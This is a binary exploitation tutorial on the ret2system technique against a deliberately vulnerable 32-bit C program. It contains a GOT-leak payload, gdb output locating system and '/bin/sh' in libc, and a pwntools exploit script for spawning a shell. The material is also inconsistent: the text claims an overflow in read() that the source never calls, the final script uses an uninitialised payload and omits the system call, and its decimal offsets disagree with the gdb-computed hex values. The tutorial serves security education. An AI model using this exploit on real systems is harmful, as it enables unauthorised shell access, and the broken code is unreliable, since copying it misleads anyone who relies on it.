# ret2system¶

We discussed how to make a ROPchain for a statically linked binary. But what if the binary is dynamically linked to the libc? This is where the ret2system exploit comes into play. In case of a dynamically linked binary it cannot be guaranteed that all the required ROPgadgets are present. Due to this we may not be able to make a syscall.

/*gcc -m32 -fno-stack-protector -no-pie -o vuln vuln.c*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define BUFFSIZE 136

void vuln(){
char buffer[BUFFSIZE];
}

int main(){
vuln();
}


Note

vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=a6c3ab368d8cd315e3bb2b970556ed0510bca094, not stripped

gdb-peda$checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial  ### Initial Analysis¶ The given binary is 32 bit. Only the NX bit is enabled. The binary is dynamically linked. Looking through the source code it can be noticed that there is a an overflow in read() in the vuln function. ### Leaking libc¶ For using this technique we first need to leak some libc addresses. The addresses of all the functions in libc is stored in a table called Global Offset Table or GOT. These addresses are at a certain offset from the libc base address. For leaking a libc address, functions like puts or write can be used. In case of a 32 bit binary the arguments can be pushed onto the stack and for a 64 bit binary the arguments can be put onto the correct registers. For us these arguments are the GOT addresses. payload = '' payload += 'a'*140 payload += p32(0x080483a0) # the call to write payload += p32(0x080484c6) # main (This is where program returns after calling write) payload += p32(0x1) # File_descriptor payload += p32(0x804a004) # buffer (basically the address in the GOT table) payload += p32(0x8) # buffer size  So we are filling the buffer and calling the write() function for leaking libc. The arguments for write are the file descriptor, the buffer, and the buffer size.So we push these arguments onto the stack. These arguments has to be passed in the reverse order. We are leaking the libc address of getegid function. ## Calling system()¶ After we get a leak we need to call system. As mentioned earlier all libc addresses are at a constant offset from the libc base. We can find this offset using gdb. we can find the base address of libc using the command info proc map. The address of the system function can be found using print system and the address of the /bin/sh string can be found using find 0xf7fa6000, 0xf7dd1000, "/bin/sh".   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 (gdb) info proc map process 19393 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x8049000 0x1000 0x0 /home/gr1dl0ck/Desktop/PWNING/ROP/rop3 0x8049000 0x804a000 0x1000 0x0 /home/gr1dl0ck/Desktop/PWNING/ROP/rop3 0x804a000 0x804b000 0x1000 0x1000 /home/gr1dl0ck/Desktop/PWNING/ROP/rop3 0xf7dd1000 0xf7fa6000 0x1d5000 0x0 /lib/i386-linux-gnu/libc-2.27.so 0xf7fa6000 0xf7fa7000 0x1000 0x1d5000 /lib/i386-linux-gnu/libc-2.27.so 0xf7fa7000 0xf7fa9000 0x2000 0x1d5000 /lib/i386-linux-gnu/libc-2.27.so 0xf7fa9000 0xf7faa000 0x1000 0x1d7000 /lib/i386-linux-gnu/libc-2.27.so 0xf7faa000 0xf7fad000 0x3000 0x0 0xf7fd0000 0xf7fd2000 0x2000 0x0 0xf7fd2000 0xf7fd5000 0x3000 0x0 [vvar] 0xf7fd5000 0xf7fd6000 0x1000 0x0 [vdso] 0xf7fd6000 0xf7ffc000 0x26000 0x0 /lib/i386-linux-gnu/ld-2.27.so 0xf7ffc000 0xf7ffd000 0x1000 0x25000 /lib/i386-linux-gnu/ld-2.27.so 0xf7ffd000 0xf7ffe000 0x1000 0x26000 /lib/i386-linux-gnu/ld-2.27.so 0xfffdd000 0xffffe000 0x21000 0x0 [stack] (gdb) print system$2 = {} 0xf7e0e250 (gdb) find 0xf7dd1000,0xf7fa6000,"/bin/sh" 0xf7f4f3cf 1 pattern found. 

Now that we have found the addresses we need to find the offsets of these functions from the libc base.

 1 2 3 4 5 6 7 8 (gdb) print getegid $4 = {} 0xf7e90f40 <~~~ GOT address of getegid (gdb) p/x 0xf7e90f40 - 0xf7dd1000 <~~~ Finding the offset of getegid from base$5 = 0xbff40 (gdb) p/x 0xf7e0e250 - 0xf7dd1000 <~~~ Finding the offset of system from base $6 = 0x3d250 (gdb) p/x 0xf7f4f3cf - 0xf7dd1000 <~~~ Finding the offset of /bin/sh from base$7 = 0x17e3cf 

Now that we have all the required information we can find the address of the system function and call it thus spawning a shell.

from pwn import *

base_func_off=786064
system_base_off=250368
off_shell=1564879

payload += p32(0x080483a0) # the call to write
payload += p32(0x804a004)  # buffer basically the address in the GOT table
payload += p32(0x8)        # buffer size

io=process('./vuln')
out = io.recv(4)
func = u32(out)

base = func - base_func_off
system = base + system_base_off
shell = base + off_shell

print ("libc_base:{}".format(hex(base)))